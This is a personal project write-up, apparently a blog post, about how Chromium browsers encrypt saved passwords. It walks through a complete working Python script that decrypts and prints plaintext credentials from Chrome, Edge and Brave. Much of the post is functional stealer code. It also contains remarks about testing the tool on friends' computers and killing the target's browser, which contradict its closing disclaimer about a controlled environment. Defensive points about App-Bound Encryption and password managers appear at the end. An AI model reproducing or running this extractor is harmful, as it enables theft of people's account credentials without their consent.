Browser Password Stealer - Python

#python#malware#data-stealer#cybersecurity#reverse-engineering

Studying Chrome's credential storage and multi-layer decryption chain to build a Python-based password extractor

🔐 Browser Password Stealer — Python Study

Project Overview

This project is a purely educational study on how Chromium-based browsers (Chrome, Edge, Brave...) store and protect user credentials locally, and how an attacker with local access could extract them using Python.

This was my first cyber-security personnal project, I work on it multiple weeks on 2 years. The goal is not to build a functionnal malware it is to deeply understand the cryptographic chain that Chrome uses to protect your saved passwords, and to demonstrate why local access to a machine should always be treated as a full compromise, and how risky is it to use browser password storage.

Project Goals

  • Understand how Chrome's password manager stores credentials on disk
  • Reverse the multi-layer encryption chain (DPAPI + AES-256-GCM)
  • Implement a working Python extractor from scratch
  • Test it Take as fun as possible on friend's computers

Key Features

SQLite credential extraction — Direct reading of Chrome's Login Data database
DPAPI master key decryption — Recovering the AES key from Local State
AES-256-GCM decryption — Deciphering individual password entries
Multi-browser support — Chrome, Edge, Brave, Opera
Legacy fallback — Pre-Chrome 80 DPAPI-only passwords


How Chrome Stores Your Passwords

Before writing a single line of Python, it is essential to understand how Chrome's password manager actually works under the hood.

The Storage Architecture

Chrome does not store your passwords in plaintext. It uses a two-layer encryption system based on a combination of Windows DPAPI and AES-256-GCM. The relevant files are:

File Location Role
Login Data %LOCALAPPDATA%\Google\Chrome\User Data\Default\ SQLite database — stores all saved credentials
Local State %LOCALAPPDATA%\Google\Chrome\User Data\ JSON config — stores the encrypted AES master key

The Login Data Database

Login Data is a standard SQLite database. The table of interest is logins, with the following relevant columns:

Column Content
origin_url Website URL
username_value Plaintext username
password_value Encrypted password (raw bytes)

The password_value blob is where the challenge lies. Its format changed significantly with Chrome 80 in early 2020.


🔑 The Encryption Chain

Chrome's encryption went through two distinct eras, each with a different approach.

Era 1 — Pre-Chrome 80 : DPAPI only

Before version 80, Chrome encrypted passwords directly with Windows DPAPI (Data Protection API).

DPAPI is a Windows system service that ties encryption to the currently logged-in user's credentials. It is transparent: no key to manage, no file to find — Windows handles everything.

Decryption is a single function call:

import win32crypt

decrypted = win32crypt.CryptUnprotectData(
    password_value, None, None, None, 0
)[1]

No key needed, no algorithm to implement, simple, and the reason Google wanted to add another layer.

Era 2 — Chrome 80+ : DPAPI + AES-256-GCM

Starting with Chrome 80, Google introduced a session-independent encryption layer. Passwords are now encrypted with AES-256-GCM, using a per-installation master key that is itself protected by DPAPI.

This gives a two-step decryption process : you need to unlock the key before you can unlock the passwords:

Local State (JSON) <- who store an AES 32-byte raw encryption key
    └── Encrypted by Windows (DPAPI)
            └── so we need to ask Windows to decript it for us
                    └── then we can use the AES master key to decrypt the 
                    Login Data file content and see the plaintext password
                            └── Login Data: password_value
                                    └── AES-256-GCM decrypt → plaintext password

Step 1 — Extract the master AES key

The master key lives in Local State, a JSON file at the root of Chrome's user data directory:

{
  "os_crypt": {
    "encrypted_key": "RFBBUEkBAAAA0Iyd3wEV0RGAS..."
  }
}

The value is base64-encoded. Once decoded, the first 5 bytes are the literal ASCII prefix DPAPI — a marker added by Chrome that must be stripped before feeding the data to DPAPI.

import json, base64, os
import win32crypt

local_state_path = os.path.join(
    os.environ["LOCALAPPDATA"],
    "Google", "Chrome", "User Data", "Local State"
)

with open(local_state_path, "r", encoding="utf-8") as f:
    local_state = json.load(f)

encrypted_key_b64 = local_state["os_crypt"]["encrypted_key"]
encrypted_key = base64.b64decode(encrypted_key_b64)

# Strip the "DPAPI" prefix (5 bytes)
encrypted_key = encrypted_key[5:]

# Decrypt with DPAPI to get the raw 32-byte AES key
master_key = win32crypt.CryptUnprotectData(
    encrypted_key, None, None, None, 0
)[1]

Step 2 — Identify the password format

Once we query a password_value from the Login Data SQLite database, we need to determine which encryption era it belongs to:

  • v10 or v11 prefix (bytes 0–2) → Chrome 80+ AES-256-GCM
  • No prefix → Legacy DPAPI encryption
if password_value[:3] == b"v10" or password_value[:3] == b"v11":
    # Modern AES-GCM path
    ...
else:
    # Legacy DPAPI path
    decrypted = win32crypt.CryptUnprotectData(password_value, None, None, None, 0)[1]

Step 3 — AES-256-GCM decryption

For modern passwords, the blob after the v10/v11 prefix is structured as follows:

[ v10/v11 (3 bytes) ][ nonce (12 bytes) ][ ciphertext ][ GCM tag (16 bytes) ]

AES-GCM requires the nonce, the ciphertext, and the authentication tag separately:

from Crypto.Cipher import AES

# password_value = raw bytes from SQLite
nonce       = password_value[3:15]          # 12-byte IV
ciphertext  = password_value[15:-16]        # actual encrypted data
tag         = password_value[-16:]          # GCM authentication tag

cipher = AES.new(master_key, AES.MODE_GCM, nonce=nonce)
decrypted_password = cipher.decrypt_and_verify(ciphertext, tag).decode("utf-8")

The decrypt_and_verify call does two things at once: it decrypts the ciphertext and verifies the GCM tag, ensuring the data has not been tampered with. If the tag doesn't match, an exception is raised.


🐍 Full Python Implementation

Putting it all together, the extractor follows this structure:

import os, json, base64, sqlite3, shutil, tempfile
import win32crypt
from Crypto.Cipher import AES


def get_master_key(browser_path: str) -> bytes:
    local_state_path = os.path.join(browser_path, "Local State")
    with open(local_state_path, "r", encoding="utf-8") as f:
        local_state = json.load(f)
    encrypted_key = base64.b64decode(local_state["os_crypt"]["encrypted_key"])[5:]
    return win32crypt.CryptUnprotectData(encrypted_key, None, None, None, 0)[1]


def decrypt_password(password_value: bytes, master_key: bytes) -> str:
    try:
        if password_value[:3] in (b"v10", b"v11"):
            nonce      = password_value[3:15]
            ciphertext = password_value[15:-16]
            tag        = password_value[-16:]
            cipher     = AES.new(master_key, AES.MODE_GCM, nonce=nonce)
            return cipher.decrypt_and_verify(ciphertext, tag).decode("utf-8")
        else:
            return win32crypt.CryptUnprotectData(
                password_value, None, None, None, 0
            )[1].decode("utf-8")
    except Exception:
        return "[decryption failed]"


def extract_credentials(profile_path: str, master_key: bytes) -> list[dict]:
    login_data_src = os.path.join(profile_path, "Login Data")

    # Chrome locks the DB while running — copy it to a temp location
    tmp = tempfile.mktemp(suffix=".db")
    shutil.copy2(login_data_src, tmp)

    results = []
    conn = sqlite3.connect(tmp)
    cursor = conn.cursor()
    cursor.execute("SELECT origin_url, username_value, password_value FROM logins")

    for url, username, password_value in cursor.fetchall():
        decrypted = decrypt_password(password_value, master_key)
        if decrypted and decrypted != "[decryption failed]":
            results.append({
                "url": url,
                "username": username,
                "password": decrypted
            })

    conn.close()
    os.remove(tmp)
    return results


# --- Entry point ---
BROWSERS = {
    "Chrome": os.path.join(os.environ["LOCALAPPDATA"], "Google", "Chrome", "User Data"),
    "Edge":   os.path.join(os.environ["LOCALAPPDATA"], "Microsoft", "Edge", "User Data"),
    "Brave":  os.path.join(os.environ["LOCALAPPDATA"], "BraveSoftware", "Brave-Browser", "User Data"),
}

for browser_name, browser_path in BROWSERS.items():
    if not os.path.exists(browser_path):
        continue
    master_key = get_master_key(browser_path)
    creds = extract_credentials(os.path.join(browser_path, "Default"), master_key)
    for c in creds:
        print(f"[{browser_name}] {c['url']} | {c['username']} | {c['password']}")

One important detail: Chrome locks Login Data while it is running. The file cannot be opened by another process directly. The workaround is to copy the database file to a temporary location first, then open the copy; or if your have hands on the target computer you can simply kill the browser task before ;)


🛡️ Chrome 127+ — App-Bound Encryption

As of Chrome 127 (mid-2024), Google introduced a new protection layer called App-Bound Encryption.

At this moment I just see my previous work just not working on all up-to-date browser, but was satisfied about what I learnt on it at this point, and I do not go deeply into how they fix this security-issue.


💡 Skills Developed

Cryptography & Reverse Engineering

  • Windows DPAPI — Understanding user-scoped symmetric encryption
  • AES-256-GCM — Authenticated encryption, nonce extraction, tag verification
  • Binary blob parsing — Identifying format markers (v10, DPAPI prefix) in raw bytes
  • Key derivation chain — Following a multi-step decryption pipeline

Windows Internals

  • Local State & Login Data — Chrome's internal file structure
  • SQLite access — Reading locked application databases safely
  • win32crypt — Interfacing with the Windows Crypto API from Python
  • Process locking — Understanding file lock workarounds on Windows

Security Research

  • Threat modeling — Local access = full compromise, no exceptions
  • Defensive perspective — Understanding App-Bound Encryption and its design goals
  • Red Team thinking — Tracing an attacker's path step by step

🔗 Resources


🎓 Conclusion

Chrome's password manager is a good example of layered security.

The combination of DPAPI for key protection and AES-256-GCM for individual credentials is sound cryptography. The weakness was never in the algorithms themselves, but in the threat model assumption: that local user access is a trusted boundary.

I do some additionnal research today when i write this project-writeup, App-Bound Encryption in Chrome 127+ finally addresses this assumption by coupling decryption to a specific binary identity with signed proof rather than just user identity. It is not unbreakable, but it raises the bar significantly.

The key takeaway for any security practitioner: if an attacker has local access to your machine, your browser-saved passwords should be considered compromised. Use a dedicated password manager with a proper master password, and never rely solely on the browser vault for sensitive credentials.

Iuw somme recommandations, try Bitwarden or Keepass depends on your preference usage context.


⚠️ Disclaimer: This project is strictly educational and was conducted in a controlled environment. Extracting credentials from a machine you do not own is illegal. The knowledge presented here is intended to help understand attack surfaces and improve defenses.